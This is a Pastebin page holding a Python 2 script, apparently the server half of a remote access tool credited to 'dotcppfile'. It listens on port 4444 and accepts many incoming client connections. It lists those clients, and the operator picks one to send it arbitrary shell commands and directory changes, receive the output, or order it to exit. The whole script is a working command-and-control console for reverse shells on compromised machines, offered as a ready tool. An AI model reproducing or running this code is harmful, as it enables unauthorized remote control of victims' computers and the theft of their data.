Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python2
- import os, sys
- from socket import *
- host = "127.0.0.1"
- port = 4444
- intro = """
- ____ ____ ____ ____
- ||A |||w |||r |||s ||
- ||__|||__|||__|||__||
- |/__\|/__\|/__\|/__\|
- Coded by: dotcppfile
- Twitter: https://twitter.com/dotcppfile
- Blog: http://dotcppfile.worpdress.com"
- """
- commands = """---------
- Commands:
- ---------
- accept | Accept connections
- list | List connections
- interact <id> | Interact with client
- stop | Stop interacting with Client
- clear | Clear the console
- quit | Close all connections and quit
- credits | Show Credits
- help | Show this message
- \n"""
- s=socket(AF_INET, SOCK_STREAM)
- s.settimeout(5) #this is needed in accept() later on
- s.bind((host,port))
- s.listen(10)
- allConnections = []
- allAddresses = []
- def getConnections():
- for item in allConnections:
- item.close() #close all old connections
- #empty the lists
- del allConnections[:]
- del allAddresses[:]
- #start all over
- while 1:
- try:
- q,addr=s.accept() #will timeout after 5 seconds
- q.setblocking(1) #needed later on in recv() / making an non-blocking socket object
- allConnections.append(q)
- allAddresses.append(addr)
- except:
- break
- def main():
- print intro, commands
- while 1:
- command = raw_input("> ")
- if (command == "accept"):
- getConnections()
- print "[INFO] Done Accepting\n"
- elif(command == "list"):
- print "--------\nClients:\n--------"
- for item in allAddresses:
- print "%d - %s|%s" % (allAddresses.index(item) + 1, str(item[0]), str(item[1]))
- print "\n"
- elif("interact" in command):
- chosenone = int(command.replace("interact ","")) - 1
- if ((chosenone < len(allAddresses)) and (chosenone >= 0 )):
- print "[INFO] Interacting with %s" % str(allAddresses[chosenone])
- try:
- allConnections[chosenone].send("hellows123") #welcome message
- vtpath = allConnections[chosenone].recv(4096) + ">" #non blocking socket object / will timeout instantly if no data received
- except:
- print "[ERROR] Client closed the connection\n"
- break;
- while 1:
- data=raw_input(vtpath) #raw_input represents the client's sub process's current path
- if ((data != "stop") and ("cd " not in data) and ("upload " not in data)):
- try:
- allConnections[chosenone].send(data)
- msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
- print msg
- except:
- print "[ERROR] Client closed the connection\n"
- break;
- elif ("cd " in data): #dealing with the cd command
- try:
- allConnections[chosenone].send(data)
- msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
- vtpath = msg + ">"
- except:
- print "[ERROR] Client closed the connection\n"
- break;
- else:
- print "\n"
- break
- else:
- print "[ERROR] Client doesn't exist\n"
- elif(command == "clear"):
- if sys.platform == 'win32':
- os.system("cls")
- else:
- os.system("clear")
- elif(command == "quit"):
- for item in allConnections:
- try:
- item.send("exit") #send a message that will close the client connection
- item.close() #close socket objects
- except:
- print "[ERROR] %s closed the connection already\n" % item
- s.close()
- break;
- elif(command == "help"):
- print commands
- elif(command == "credits"):
- print "--------\nCredits:\n--------\nCoded by: dotcppfile\nTwitter: https://twitter.com/dotcppfile\nBlog: http://dotcppfile.worpdress.com\n"
- else:
- print "[ERROR] Invalid Command\n"
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement